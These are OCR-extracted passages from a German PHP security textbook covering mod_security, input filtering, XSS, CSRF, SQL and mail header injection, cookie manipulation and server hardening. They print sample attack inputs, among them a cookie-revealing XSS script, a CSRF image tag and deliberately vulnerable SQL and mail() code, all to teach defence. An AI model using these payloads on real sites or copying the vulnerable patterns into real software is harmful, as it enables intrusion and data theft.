235. en Verh ltnissen umgehen k nnen muss mod_security als erstes Modul geladen werden also in der Modulliste des Webservers ganz oben stehen Bei Apachel gibt es zwei Stellen an denen diese nderung der Reihenfolge stattfin den muss die Liste der LoadModule und die in der Standardkonfigura tion direkt darunter stehende der AddModule Direktiven LoadModule security _module libexec mod_security so LoadModule vhost_alias_module libexec mod_vhost_alias so LoadModule env_module libexec mod_env so AddModule mod_security c AddModule mod_vhost_alias c AddModule mod_env c 12 3 mod_security 295 Etwas Zusatzarbeit ist vonn ten wenn Sie Ihre gewohnten PHP Funktionen weiterbenutzen m chten schlie lich ben tigt PHP noch eine Reihe eigener Bibliotheken wie die 1ibxml Tibmysqlclient und andere Besonders die jeweiligen Resolver Libraries 1ibresolv so und Tinbnss_dns so 2 sind erforderlich um IP Adressen auf Hostnamen abbilden zu k nnen Die Resolver Bibliothek k nnen Sie explizit laden indem Sie die Direktive LoadFile lib libnss_dns so 2 in die httpd conf einf gen damit sollten dann auch s mtliche DNS Lookups ordnungsgem funktionieren Auch f r ordnungsgem funktionierende Datenbankverbindun gen sind ein paar Handgriffe notwendig Da der MySQL Client bei Verbindungen zum lokalen Server standardm ig auf lokale Unix Sockets zugreift werden zun chst alle ge ffneten Verbindungen fehl sch
236. en Vorschl ge f r ein solches machen kommt die PEAR Klasse Text_Password gerade recht Ihr einziger Zweck ist es Passw rter zu generieren die entweder aussprechbar sein k nnen also wie ein englisches Wort anmuten oder einfach nur kryptische Buchstabenfol gen sind Die Klasse hnelt etwas dem Unix Programm pwgen das denselben Zweck erf llt l sst sich aber aus PHP einfacher aufrufen Die sp ter noch erw hnten CAPTCHA Klassen verwenden teilweise Text_Password um die Zeichenketten f r ein CAPTCHA zu erstellen Zun chst sollten Sie die Passwortklasse aus PEAR heraus installie ren auf der Kommandozeile geht das einfach mit pear install Text_Password Aus Ihrem PHP Skript heraus k nnen Sie die Klasse nun mit einem kurzen Codefragment instanziieren und ein erstes zuf lliges Passwort generieren include Text Password php password new Text_Password pw password gt create 8 pronounceable echo pw Dieses Codefragment gibt beim Aufruf acht Zeichen lange Passw rter zur ck die pronounceable also aussprechbar sein sollen und etwa wie die folgenden Beispiele aussehen wephiave craekaji kaichiop slihupre fruhicla viofraed daethila cleakiab Diese Passw rter sollten bereits sicher gegen eine Dictionary Attacke sch tzen allerdings sind sie immer noch nicht ausreichend gegen das als Bruteforcing bekannte Knacken von Passw rtern ohne Dictio nary gefeit Beim Bruteforcing werden ke
237. en die verwundbaren Applikationen und die Angreifer geschaltet werden die Attacken noch vor dem PHP Skript abf ngt Apache bietet eine wohldefinierte und sehr leistungsf hige Modulschnittstelle und genau an diesem Punkt setzen die Apache Module mod_security und mod_parmguard an 12 2 Blacklist oder Whitelist Die Gretchenfrage bei jeglicher Art von Filtern ist stets Sollte man einem Whitelist oder einem Blacklist Ansatz folgen Auch bei Filter modulen f r Apache stellt sich diese Frage verfolgen doch mod_security und mod_parmguard jeweils einen dieser Ans tze W h rend mod_security in seinem typischen Anwendungsfeld eine Blacklist implementiert also unerw nschte Variablen Aufrufe etc herausfil tert geht mod_parmguard genau andersherum vor Mit einer Whitelist werden hier f r alle in der PHP Software verwendeten Variablen die erw nschten Wertebereiche festgelegt und diese Whitelist muss stets befolgt werden Grunds tzlich ist eine Whitelist dem Blacklist Ansatz vorzuziehen denn sie ist prinzipbedingt gegen neue Angriffsarten oder Exploits sicherer als die st ndig zu aktualisierende Blacklist Da der Angreifer dem Verteidiger stets einen Schritt voraus ist kann eine Blacklist Werte bersehen die zwar einen Angriff darstellen aber noch nicht in der Liste stehen Eine Whitelist kennt diese Probleme nicht da sie stets nur die Werte enth lt die auch in der Anwendung ben tigt werden und alle anderen Variablen und Var
238. en ist dieser Header aber f r den Webserver nicht notwendig und kann ebenso mit einem b sar tigen JavaScript Code bef llt werden Wir sehen die Variablen im superglobalen Array _SERVER die clientseitig best ckt werden k nnen sind nicht vertrauensw rdig und sollten ebenso wie alle anderen Parameter berpr ft werden 3 3 9 Spam ber Mailformulare Eine von Spammern massiv missbrauchte Sicherheitsl cke betrifft die PHP Funktion mail die h ufig f r Kontaktformulare benutzt wird Ein solches Formular findet sich auf vielen Privat und auf praktisch allen Firmen Websites und erlaubt es Besuchern Fragen oder Bestel lungen an den Seitenbetreiber zu versenden Er muss dort meist seine eigene Mailadresse angeben damit seine Frage auch per E Mail beant wortet werden kann Oftmals wird diese Angabe ungepr ft in den Aufruf von mail bernommen das in einem vierten Parameter zus tzliche Header als String entgegennimmt Ein derart verwund barer Aufruf von mail sieht so aus mail info unternehmen de Webanfrage anfragetext From PpoSTL autor _SERVER Variablen manipulieren _SERVER PHP_SELF _SERVER HTTP_HOST CH 3 Parametermanipulation Angreifern ist es nun m glich im Prinzip hnlich zu Response Split ting in der POST Variablen autor Zeilenumbr che und weitere Hea der einzuf gen Indem der Angreifer mit dem SMTP Stop Kommando r n r n die urspr ngliche Kontaktmail abschlie
239. en sich in Funktionen die Eingabedaten direkt aus einem User Scope entgegennehmen und gefil tert an das Skript weitergeben und solche Funktionen die eine bereits in PHP vorhandene Variable filtern Welche Filter tats chlich angewendet werden wird der jeweiligen Filterfunktion ber eine Konstante mitgeteilt etwaige Optionen finden Platz in einem assoziativen Array das optional und meist als letztes Argument f r den Funktionsaufruf bergeben wird Die Funktionen filter_input und filter_input_array sind daf r zust ndig Variablen aus einem externen Kontext zu importieren und zu filtern Die Funktionen unterscheiden sich nur darin dass die 9 4 Verf gbare Filter 197 zweite Funktion ein assoziatives Array erwartet und so gleichsam f r die Batch Verarbeitung vieler Eingabevariablen geeignet ist Wir werden im Folgenden zun chst nur die einfachen Funktionen betrachten die Array Funktionen unterscheiden sich in der tats ch lichen Benutzung nicht wesentlich Beide geben eine gefilterte Version dieser Variablen zur ck schl gt die Validierung fehl ist der R ckga bewert FALSE oder gegebenenfalls NULL Die Syntax f r filter_input sieht in Worten ausgedr ckt folgenderma en aus gefiltert filter_input WOHER name WOMIT optionen Das erste und das dritte Argument wird jeweils in Form einer Kon stante oder eines Integerwertes bergeben der die Herkunft der zu fil ternden Variablen und den anzuwen
240. en und L sungen eil Um den Bereich f r den Dateizugriff nur auf das Document Root Verzeichnis des Webservers zu beschr nken gibt es die Konfigurati onsoption open_basedir Diese Option erlaubt eine Pfadangabe bis zu dieser Dateien eingebunden werden k nnen andere Dateien wie Sys temdateien k nnen nicht mehr eingebunden werden F r Include und Require Operationen immer Whitelist berpr fungen zur Datenvalidierung verwenden Werden Parameter aus den superglobalen Arrays in eine Funktion bernommen die PHP Code interpretieren kann ist dies sehr gef hr lich Die Rede ist von der PHP Funktion eval aber auch ein preg_ replace mit dem Modifikator e ist gef hrlich eval interpretiert den bergebenen String als PHP Code Die Funktion preg_replace sucht und ersetzt eigentlich regul re Ausdr cke Mit dem Modifikator e wird der zweite Parameter nach den entsprechenden Ersetzungen der Referenzen von preg_replace wie PHP Code behandelt preg_replace mixed Suchmuster mixed Ersatz mixed Zeichenkette Diese beiden Funktionen sind sehr gef hrlich wenn keine ausrei chende Parametervalidierung stattfindet denn hier hat man alle M g lichkeiten die der installierte PHP Interpreter zul sst Die im Juli 2005 gefundenen Schwachstellen in PEARs XML_RPC Modul die die Aus f hrung beliebiger PHP Befehle erlaubten basierten auf einer ber gabe nicht validierter Parameter an einen Aufruf der Funktion eval
241. enutzer und Gruppen weiterverwendet werden F r jedes Projekt k nnen Sie nun eigene Benutzer anlegen und im entsprechenden VirtualHost Block die not wendigen Anpassungen vornehmen Neben der konfigurationsaufwendigeren Variante Benutzer und Gruppe manuell zu setzen bietet mod_suid noch drei andere SetUID Regeln die oben kurz beschrieben wurden In Konfigurationsdirekti ven umgesetzt lauten diese Regeln folgenderma en SuidPolicy file SuidPolicy document root SuidPolicy parent directory Insbesondere die letzte Anweisung ist empfehlenswert sorgt sie doch daf r dass bei korrekt gesetzten Verzeichnisrechten alle Dateien automatisch die Rechte des bergeordneten Verzeichnisses erben Mod_suid sollte grunds tzlich nie alleine eingesetzt werden ohne zus tzliche Sicherheitsma nahmen zu ergreifen daf r ist die M g lichkeit per setuid Apache einfach auf einen anderen Benutzer umzu schalten zu verlockend Sie sollten grunds tzlich immer folgende Funktionen ausschalten disabled_functions posix_setuid posix_seteuid posix_setgid posix_setegid Zudem ist es dringend empfehlenswert den Safe Mode zu aktivieren sofern Sie das nicht sowieso schon getan haben und mit einem sehr restriktiv konfigurierten safe_mode_exec_dir s mtliche Binaries zu ver bieten mit denen direkt oder indirekt ein setuid Aufruf stattfinden k nnte Dazu geh ren perl python gcc cc cpp und s mtliche anderen Compiler oder Skriptinterpreter
242. equem dessen Standort innerhalb des Firmennetzwerks ausnutzen um ber das CMS belie bige Artikel zu ndern Der Angriff selbst gestaltet sich genauso wie im vorigen Abschnitt beschrieben nur dass der Angreifer nun den 4 18 Cross Site Request Forgery CSRF 115 genauen Standort des eingesetzten CMS ermitteln muss und das ist selbst f r ge bte Blackhats kein leichtes Unterfangen Mit etwas Social Engineering k nnte sich der Hacker zumindest die URL erfragen und diese dann wie folgt in die pr parierte Webseite einbauen lt img sre http 10 0 0 1 cms artikel_schreiben php titel Owned amp fulltext Wirtwurdentgehackt gt Trotz Firewall und Intranet k nnte der Angreifer so auf der internen Session des Opfers reiten und weitere Angriffe wie z B XSS Atta cken vorbereiten 4 18 2 CSRF in BBCode Eine ganz konkrete Bedrohung ergibt sich aus der Tatsache dass viele Onlineforen ber den oben erw hnten BBCode ihren Benutzern das Einbinden eigener Bilder erlauben Naturgem k nnen diese Bil der sofern sie auf einem fremden Server gespeichert sind f r Angriffe genutzt werden und der Trick mit dem das bewerkstelligt werden kann ist sehr einfach Ein Angreifer der eine CSRF Attacke auf ein Forum durchf hren will legt zu diesem Zweck auf seinem Webserver ein per HTTP erreichbares Verzeichnis namens bild png an Er sorgt daf r dass in diesem Verzeichnis automatisch die Datei index php ausgef hrt wird
243. er Datei in der 1 Milliarde Mal der Buchstabe A steht ist nur ca 19 KB gro Beim Entpacken auf einem Server entsteht eine Datei die ein Gigabyte gro ist Dieses Zip Archiv kann die Festplatte des Servers ungewollt f llen Somit hat das System keinen Platz mehr um Hauptspeicher auf den Server auszu lagern das sogenannte Swappen ist nicht mehr m glich Auch Zip Archive die eine Verzeichnisstruktur beinhalten die 10 000 Ebenen tief verschachtelt ist kann vor allem Unix basierte Server aus dem Gleichgewicht bringen Einige Unix basierte Dateisysteme haben Limi tierungen was die Anzahl der INodes angeht INodes sind Datenspei cher die Informationen ber Dateien oder Verzeichnisse beinhalten Ist es n tig Zip Archive auf einen Server hochzuladen dann soll ten Sie vor der Verarbeitung jedes Archiv durch einen Virenscanner pr fen lassen Diese erkennen solche b sartigen Zip Archive und ver bieten den Upload Mit der PHP Erweiterung Suhosin k nnen Sie nach einem Dateiupload automatisch ein Shellskript ausf hren lassen das genau diese Aufgabe erledigt Mehr dazu erfahren sie in Kapitel 10 PHP Hardening 8 9 Fazit Es gibt keinen hundertprozentigen Schutz f r Datei Uploads Datei Uploads sind aber nur mit einer entsprechenden zweiten Sicherheitsl cke richtig gef hrlich Denn alleine eine Datei hochladen zu k nnen die schadhaften PHP Code enth lt ist noch nicht gef hrlich Dieser Code muss erst zur Ausf hr
244. er Einstellung ist jede Variable die an ein PHP Skript bermittelt wird im globalen Namensraum mit demselben Namen wie der Parameter verf gbar Ein Beispiel http www beispiel de index php name inhalt Diese URL generiert f r die Datei index php eine Variable name mit dem Inhalt inhalt im globalen Namensraum f r Variablen Dieser Automa tismus f hrte und f hrt immer noch zu verschiedenen Schwachstellen und Problemen Ein Problem hierbei ist die Reihenfolge wie die Parameter in einem Skript registriert werden Hierbei kann es zu Namenskonflikten kommen wenn ein GET Parameter den gleichen Namen hat wie ein POST Parameter Der PHP Interpreter berschreibt dann eine der bei den Variablen je nachdem was die Einstellung gpc_order bzw die neu ere Direktive variables_order enth lt Beide Einstellungen geben die Reihenfolge der Variablenregistrierung des PHP Interpreters an In der Defaulteinstellung hat variables_order den Wert EGPCS System Envi ronment GET POST Cookie Session wobei Session Variablen hier die oberste Priorit t haben sie werden zuletzt registriert berschrei ben also s mtliche gleichnamigen Variablen aus GET POST oder Cookies Um die durch diese berschreibung auftretenden Probleme zu lindern wurden f r jeden Bereich eigene Variablen mit dem Namensschema HTTP_ _VARS eingef hrt So wurden die Namensr ume in HTTP_GET_VARS HTTP_POST_VARS und HTTP_COOKIE_VARS aufgeteilt Leider waren diese Variablen nic
245. er Falschinformationen geliefert werden k nnen Sie entweder das Sicherheitsmodul mod_security siehe auch Kapitel 10 installieren oder in den Quellcode des Webservers eingreifen Das Server Banner des Apache Webservers hat folgenden Aufbau SERVER _BASEPRODUCT SERVER BASEVERSION OS Apache modules Zus tzlich gibt es noch die Konstante SERVER_BASEVENDOR die den Her steller also die Apache Group angibt In der Datei version h stehen folgende Zeilen die abge ndert wer den m ssen define SERVER_BASEVENDOR Apache Group define SERVER _BASEPRODUCT Apache define SERVER _BASEVERSION 1 3 40 Diese Konstanten k nnen Sie nach Herzenslust ver ndern m ssen danach jedoch den Webserver mit dem so ge nderten Quellcode neu bersetzen und installieren Bei Microsofts Internet Information Server kann das Server Ban ner mit dem Tool URLScan ver ndert werden Bei URLScan handelt es sich um einen ISAPI Filter der dem Webserver Administrator weitere Konfigurationsoptionen zur Verf gung stellt Diese Ver nderung neh men Sie wie folgt vor 1 Beenden des IS und aller abh ngigen Dienste Im Ordner Systemroot System32 Inetsrv Urlscan befindet sich eine Datei urlscan ini In dieser Datei befindet sich ein Eintrag RemoveServerHeader 0 Diesen Eintrag auf 1 ndern 3 Internet Information Server neu starten Nach der n chsten Anfrage an den Webserver erscheint kein Server Banner mehr in der Antwort 2 2 Webserver erkennen
246. er genutzten Daten wird auch MIME Typ engl MIME type genannt Content Length Content Length gibt die L nge der bertragenen Daten in einem POST oder GET Request an Cookie Ein Cookie engl f r Pl tzchen Keks bezeichnet Informationen die ein Webserver zu einem Browser sendet die dann der Browser wiederum bei sp teren Zugriffen auf denselben Webserver zur cksendet CVS Concurrent Versions System CVS bezeichnet ein Programm zur Versions verwaltung von Dateien haupts chlich Softwarequellcode CVS ist ein rei nes Kommandozeilenprogramm aber es wurde f r alle g ngigen Betriebs systeme mindestens eine grafische Oberfl che f r CVS entwickelt zum Beispiel TortoiseCVS und WinCVS f r Windows MacCVS f r den Apple Macintosh und Cervisia und LinCVS f r Linux CVS erfreute sich beson ders in der Open Source Gemeinde gro er Beliebtheit So wurde CVS bei den meisten gro en Open Source Projekten verwendet Die CVS Software wird unter anderem auch auf den Servern von SourceForge net verwendet Allm hlich wird CVS durch andere Entwicklungen wie Subversion ersetzt Defacement Defacement engl f r Entstellung oder Verunstaltung bezeichnet das unberechtigte Ver ndern einer Website Meistens betrifft das die Einstiegs seite Normalerweise werden Sicherheitsl cken in Webservern ausgenutzt oder Passw rter durch Methoden wie Brute Force oder Social Engineering herausgefunden hnlich wie in der Graffitiszene werden vo
247. er hat vorher eventuell seinen Kontostand bei der Bank berpr ft und vers umt sich ordnungsgem auszuloggen seine Ses sion bei MeineBank ist somit noch g ltig Wird nun auf der Website der Bank die URL ueberweisung php aufgerufen f hrt das dazu dass das entsprechende PHP Skript im Kundenbereich des Kreditinstitutes die g ltige Session des Opfers ver wendet um ihm die berweisungsanforderung zuzuordnen Zwar erwartet die Bank eigentlich einen POST Request vom korrekten ber weisungsformular da intern jedoch nur das superglobale Array _REQUEST verwendet wird werden auch GET Variablen anerkannt Sie ahnen vermutlich bereits worauf wir hinauswollen ber das im XY Forum eingebettete lt img gt Tag ruft das Opfer die berweisungs 4 Cross Site Scripting seite der Bank auf und diese f hrt die berweisung klaglos aus da schlie lich eine g ltige Session besteht Das Opfer ist vom Angreifer somit dazu gebracht worden ihm einen gr eren Posten Geld auszuh ndigen ohne dass Opfer und T ter je miteinander Kontakt gehabt h tten Die einzige f r den geprellten Anwender verfolgbare Spur ist das Forums Posting das jeder einigerma en versierte Angreifer jedoch ber einen offenen Proxy vornehmen w rde Der Angreifer hat sich folgende Tatsachen zunutze gemacht Das Opfer war auf der Ziel Website noch eingeloggt Die Ziel Website war gegen CSRF Angriffe ungesch tzt und lie GET Requests genau wie POS
248. er in der URL geschehen Der Aufruf eines Skriptes mit einem ung ltigen Parameter k nnte so aussehen index php id 00 Ein PHP Skript das den Parameter ungepr ft weiterverarbeitet rea giert nun mit einer Fehlermeldung Warning mysql_fetch_assoc supplied argument is not a valid MySQL Result Resource in usr www htdocs index php on line 10 Anhand dieser Fehlermeldung l sst sich zumindest erkennen ob die Skriptsprache PHP auf dem Webserver installiert ist Wird die Ausgabe von Fehlermeldungen in der php ini Datei mit display_errors off aus geschaltet oder ist durch den Entwickler eine eigene Fehlerbehandlung implementiert worden erfolgt keine Ausgabe am Bildschirm Schalten Sie display_errors aus und oder implementieren Sie eine eigene Fehlerbehandlung die nur wenige oder gar keine Informationen anzeigt Zus tzlich k nnen Sie eine Besonderheit von PHP in der Umwandlung von URL Parametern in skriptinterne Variablen ausnutzen Wie in Abschnitt 12 3 5 n her erl utert wandelt PHP Variablennamen die mit einem Leerzeichen beginnen automatisch in ihre Entsprechung ohne Leerzeichen um Aus einem URL Parameter index php id 123 wird also innerhalb des PHP Skripts die Variable _GET id Suchen nach bekannten PHP Anwendungen EJ 2 Informationsgewinnung Fehlererzeugung zur Erkennung der Datenbank Wenn Sie hinter einer Webseite nun ein PHP Skript vermuten Parame ter jedoch per mod_rewrite umgeschri
249. er pers n lich angesprochen ist dies nicht der Fall fragt ein kurzes Formular zun chst den Namen ab um ihn im folgenden Request dann anzuzeigen Der erste Angriffspunkt in diesem Skript ist offensichtlich der Entwickler hat keinerlei berpr fung der ber GET an das Skript durchgereichten Variablen vorgesehen Damit k nnen Benutzer belie bige Werte bergeben die ohne Validierung angezeigt werden Von besonderem Interesse ist es f r Angreifer ein St ck JavaScript im angeblichen Vornamen unterzubringen das dann im Client des arg losen Benutzers zur Ausf hrung kommt Geben Sie als Vorname im Formularfeld den String lt script gt alert document cookie lt script gt an sollten Sie nach dem Abschicken des Formulars ein leeres JavaScript Popup sehen H tte Ihre Anwendung ein Cookie beim Benutzer gesetzt s hen Sie es jetzt als Ausgabe des JavaScripts Ein zweiter Angriffsvektor f r XSS ist in der Variablen _SERVER PHP_SELF versteckt Diese Variable enth lt neben dem nicht mani pulierbaren Skript Dateinamen noch ein zweite Komponente die soge nannte PATH_INFO H ngt ein Angreifer an den Dateinamen im URL etwa test php noch einen und weitere Stringelemente an so wird diese Information von PHP in die Variable _SERVER PATH_INFO aber eben auch in PHP_SELF bernommen Dieses Formular kann also auch ganz einfach ber den URL http irgendwas de test php gt lt script gt alert xss lt script gt angegrif
250. erden auf der Festplatte des Benutzers gespeichert Mithilfe dieser Cookies werden Anmeldeinformationen Identit ten oder auch die Ausgabe individuell auf den Anwender zugeschnittener Inhalte gesteu ert Ein Beispiel sind die Auf diesem Computer angemeldet bleiben Auswahlboxen Hierbei wird ein Cookie auf der Festplatte des Benut zers gespeichert in dem eben diese Auswahl steht Oft ist ein Cookie Poisoning Angriff effektiver als andere Parametermanipulationsang riffe weil in diesen Cookies sensitive Informationen versteckt sein k nnen Ein Beispiel GET store buy php checkout yes HTTP 1 0 Host www onlineshop com Accept Referrer http www onlineshop com showproducts php Cookie PHPSESSID 570321ASDD23SA2321 BasketSize 3 Iteml 2892 Item2 3210 Item3 9942 TotalPrice 16044 2 http www ietf org rfe rfc2965 txt Daten oder Identit ten klauen 64 3 Parametermanipulation Cookie im HTTP Request Hidden Felder Attribute wie readonly sind kein Schutz Hier wird eine Anfrage an die Datei buy php geschickt die den Webser ver veranlasst den Kauf abzuschlie en Diese Anfrage beinhaltet die folgenden Parameter PHPSESSID die Session ID des PHP Interpreters BasketSize die Anzahl der Artikel im Warenkorb Iteml 3 die Einzelpreise der Artikel TotalPrice der Gesamtpreis aller Artikel Wenn diese Anfrage an den Server geschickt wird hat dieser alle Informationen um den Kauf abzuschlie en
251. ergegeben oder durch das PHP Programm weiterverarbeitet Whitelist berpr fungen Wie Whitelist berpr fungen funktionieren soll an einem Beispiel lassen nur gute Werte dargestellt werden Ein Onlineshop hat f r Kleider eine bestimmte durch Reihe von Gr en in seinem Produktangebot Diese werden mittels einer Auswahlbox in einem Formular angeboten lt form action check php method post gt lt select name groesse gt lt option value m gt Gr e M lt option gt lt option value 1 gt Gr e L lt option gt lt option value x1 gt Gr e XL lt option gt lt select gt lt form gt Die drei Optionen m 1 und x1 und wirklich nur diese Optionen sol len an ein SQL Statement weitergegeben werden Angreifer k nnten 3 4 Variablen richtig pr fen zl jedoch auf die Idee kommen ein manipuliertes Formular an den Shop zu versenden das zus tzlich die Gr e XXXL enth lt vor dem Ein f gen der Bestellung in die Datenbank m ssen daher solche ung ltigen Angaben ausgefiltert und gel scht werden Folgende berpr fung hilft dabei lt php saubere_vars array richtige_groessen array m 1 x1 if in_array _POST groesse richtige_groessen saubere_vars groesse _POST groesse else Error gt In diesem Beispiel wird zus tzlich ein Array saubere_vars verwendet in dem alle Variablen im Beispiel nur der Index groesse aus _POST nach der berpr fung gespei
252. erhalb des angegebenen Verzeichnisses gelesen werden Aber Vor sicht auch in diesem Verzeichnis k nnen sich Dateien mit sensiblem Inhalt befinden z B Dateien mit Datenbankverbindungsdaten Ein Setzen von open_basedir sichert den Server zus tzlich ab http www php sicherheit de index php id You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1 Bei dieser Fehlermeldung die von mysqI_query erzeugt wurde ist zu erkennen dass einer SQL Abfrage ungepr fte Variablen bergeben wurden und der Inhalt dieser Variablen dann direkt an die Datenbank ging Dies kann zum Auslesen ndern oder sogar zur L schung von Daten in der Datenbank f hren lt php res mysql_query SELECT id name FROM users WHERE id _GET id gt Im Kapitel 5 SQL Injection werden wir Ihnen diese Angriffsklasse genauer erkl ren und weitere Angriffsarten aufzeigen Fehlermeldungen k nnen nicht nur Hinweise auf installierte Dienste ausgeben sondern geben auch ber die Programmstruktur Auskunft Eine Fehlerausgabe auf einem produktiven System sollte vermie den werden Daf r stellt PHP eine Konfigurationsoption zur Verf gung display_errors off schaltet die direkte Fehlerausgabe aus In 3 3 Angriffsszenarien und L sungen 55l Verbindung mit log_errors pfad zur logdatei k nnen Fehler die im produktiven Betrieb auftreten in eine
253. erkmale genauer erl utert 2 9 Applikationen erkennen 39l 2 9 1 Das Aussehen Layout Manche Applikationen haben ein bestimmtes Aussehen bzw Layout Bei der Projektsoftware phprojekt ist z B das Men nahezu festge legt Die Forensoftware phpBB hat immer den gleichen Grundaufbau genau wie phpNuke oder das Gallery Skript Ebenso hat es sich ein geb rgert ber einen Link am unteren Seitenrand die eingesetzte Soft ware zu bewerben meist in der Form powered by lt Applikation gt 2 9 2 Typische Dateien bekannter Applikationen Bei dem beliebten Content Management System Mambo liegen bestimmte Dateien wie z B pathway php oder offline php immer an der gleichen Stelle auf dem Webserver Durch einen Direktaufruf dieser Dateien kann festgestellt werden ob diese Dateien vorhanden sind Au erdem wird eine Fehlermeldung am Bildschirm ausgegeben die Pfadangaben enth lt Bei dem Content Management System Conte nido liegt im Document Root eine Datei namens main loginform php der Einstiegspunkt zur Administrationsoberfl che Anhand dieser spezifischen Dateien ist es m glich den Namen der installierten Software zu ermitteln Durch das Vorhandensein von bestimmten Funktionalit ten in bestimmten Versionen oder durch Meta Tags im Quellcode kann auf die installierte Version geschlossen werden 2 9 3 Header Felder Einige Applikationen schicken eigene Header mit Serendipity ein Weblog System sendet ein HTTP Header Fel
254. ern im Detail bedeutet dies dass die Kommunika tion zwischen den beiden Kommunikationspartnern auf dem Request Response Prinzip basiert Als bertragungsprotokoll dient hierf r das HTTP Protokoll das in RFC 2616 definiert ist Diese HTTP Anfra gen k nnen aus mehreren Teilen bestehen Der HTTP Header Teil enth lt beim Request Steuerinformationen und Angaben ber den Client Bei einer Response ist hier der Status code des Servers und eine Angabe zum Cache Verhalten des Browsers zu finden Der HTTP Body Teil enth lt Daten die beim Request vom Client an den Server oder bei einer Response vom Server an den Client geschickt werden Ein Request wird vom Client initiiert z B indem Sie eine URL in der Adressleiste Ihres Browsers eingeben Der Browser nimmt diese Eingabe entgegen und erstellt den HTTP Request der wie folgt ausse hen kann GET index php param 1 HTTP 1 1 Host www php sicherheit de User Agent Mozilla 5 0 X11 U Linux i686 en US rv 1 7 12 Gecko 20050920 Firefox 1 0 7 1 http www faqs org rfcs rfc2616 html Austausch von Parametern zwischen Client und Server a6 3 Parametermanipulation Accept text xml application xml application xhtml xml text html q 0 9 text plain q 0 8 i mage png q 0 5 Accept Language en us en q 0 5 Accept Encoding gzip deflate Accept Charset 1S0 8859 1 utf 8 q 0 7 q 0 7 Keep Alive 300 In der ersten Zeile sehen wir die Methode also die Art der Anfrage
255. erte System wesentlich erleichtert da der Suchraum f r Passw rter deutlich verkleinert wird n mlich auf 2 8 Billionen M glichkeiten f r ein 8 stelliges Passwort mit Buchstaben und Ziffern Ein gleich langes Passwort mit Gro und Kleinbuchsta ben sowie Ziffern kann auf ber 218 Billionen Arten gebildet werden Besser ist es ber die abgefragten Variablen per md5 zun chst Pr fsummen zu bilden und dann diese abzufragen query SELECT username FROM auth_users WHERE MD5 username md5 _POST user AND MD5 password md5 _POST password Hier kommt die MDS Funktion gleich zweimal in verschiedenen Subsystemen zum Einsatz Die klein geschriebenen Funktionsaufrufe 6 3 Authentifizierungssicherheit stehen au erhalb der SQL Abfrage und werden von PHP ausgef hrt die in Gro buchstaben stehenden hingegen direkt von MySQL Somit verhindern Sie effektiv dass Benutzernamen und Passw rter ohne Ansehen der Gro und Kleinschreibung verglichen werden und verhindern au erdem noch SQL Injection Angriffe 6 3 3 SQL Injection Ein Login Formular ist zus tzlich zu dem oben angesprochenen Pro blem noch ein beliebtes Opfer von SQL Injection Der bliche und auch im obigen Beispiel verwendete Ansatz ist ja einfach ungefilterte POST Variablen an das Login Skript zu bergeben das mit ihnen eine SQL Query f llt Sind nun die Magic Quotes in PHP nicht aktiviert magic_quotes_gpc Off so kann e
256. erte oder ge nderte Module nicht neu eingelesen Sicher werden Sie denken Das war ja einfach doch im Falle von mod_security f ngt die Arbeit nach der Installation des Moduls erst an Um das Modul zu einem wirksamen Abwehrmechanismus gegen unerw nschte Eindringlinge zu machen wird noch einiges an Zeit und Arbeit notwendig 12 3 4 Konfiguration Bevor Sie mod_security mit einem umfangreichen Regelwerk ausstat ten k nnen m ssen Sie zun chst einige generelle Konfigurationspara meter setzen die das Modul aktivieren sowie seine Arbeitsweise beein flussen Die komplette Konfiguration von mod_security also auch das Set zen von Regeln findet grunds tzlich in der Apache Konfigurationsda tei httpd conf statt Das bedeutet zum einen dass nur der Webserver Administrator das Modul konfigurieren kann und zum anderen dass der Webserver stets neu gestartet werden muss damit nderungen aktiv werden Sie sollten also Ihre ersten Schritte mit mod_security kei nesfalls auf einem Produktivsystem machen aber das versteht sich ja von selbst 12 3 mod_security 281 Obgleich die meisten Konfigurationsdirektiven von mod_security an jeder beliebigen Stelle innerhalb der Konfigurationsdatei stehen k nnen also auch innerhalb von VirtualHost und Directory Bl cken macht der Ort der Konfiguration keinerlei Unterschied alle Direkti ven gelten global Somit k nnen Sie leider nicht f r jeden virtuellen Host eigene Regeln defi
257. erver_user angegeben werden Eine zweite Sektion eingeleitet durch handlers definiert alle Handler f r die suPHP sich zust ndig f hlt In jeder Zeile dieser Konfigurationssektion stehen MIME Types die je einem PHP Binary zugeordnet werden Zwischen dem Dateityp und dem voll qualifizierten Pfad zum jeweiligen PHP steht das K rzel php das den PHP Modus aktiviert suPHP kann auch mit normalen CGlI Skripten umge hen daher die Unterscheidung die Sie nicht weiter beachten sollten suphp conf 10 PHPintern Da Sie in der Handler Sektion beliebig viele MIME Types auch illegale die Apache sonst nicht verwendet angeben k nnen ist es im Prinzip m glich so viele PHP Versionen parallel zu betreiben wie Sie m chten solange Sie verschiedene Dateiendungen verwenden In unse rem Beispiel sind die beiden eingesetzten Versionen je eine CGI Ver sion von PHP 4 und PHP 5 F r jede der PHP Versionen haben wir uns einen MIMF Type ausgedacht x httpd php4 und x httpd php5 und ein Binary in das Verzeichnis home www cgi php5 kopiert Neben verschie denen PHP Versionen k nnen Sie so auch verschieden kompilierte Ausgaben desselben PHP verwenden um etwa Ihre Programme unter anderen Bedingungen testen zu k nnen Nachdem Sie alle ben tigten PHP Binaries je einem Typen zuge ordnet haben merken Sie sich die Typbezeichnungen konfigurieren Sie noch mod_suphp in der Webserver Konfiguration d h in der Datei httpd conf Da das In
258. ervers werden zur Verf gung gestellt inklusive des viel ersehnten Root Zugriffs User Mode Linux erfordert nderungen am Kernel und einige Einarbeitungszeit ist danach jedoch die sicherste M glichkeit ver schiedene Kunden oder Projekte sauber voneinander zu trennen Glei ches gilt f r die kommerzielle Virtualisierungssoftware Virtuozzo ihr quelloffenes Pendant OpenVZ oder Xen 10 11 3 mod_security Das in Abschnitt 12 3 ausf hrlich beschriebene Apache Modul mod_ security hat einen eigenen Rootjail Mechanismus mit dem der Web serverprozess in seinem Wurzelverzeichnis festgesetzt werden kann 10 11 4 mod_chroot Auch f r reine chroot Aufgaben existiert ein Apache Modul Im Gegensatz zu mod_security wird der chroot Aufruf hier ganz am Ende des Starts durchgef hrt Dadurch m ssen weniger Bibliotheken und Systemdateien ins Wurzelverzeichnis kopiert werden f r PHP und MySQL werden trotzdem einige Libraries ben tigt Der Quellcode von mod_chroot orientiert sich weitestgehend an dem von mod_security und es erlaubt ebenso nur das Wurzelverzeich nis des gesamten Webservers zu ndern Ein chroot pro virtuellem Host ist nicht m glich Das Apache Modul mod_chroot l sst sich auf der Projekt Home page herunterladen und ist schnell installiert Ein apxs cia 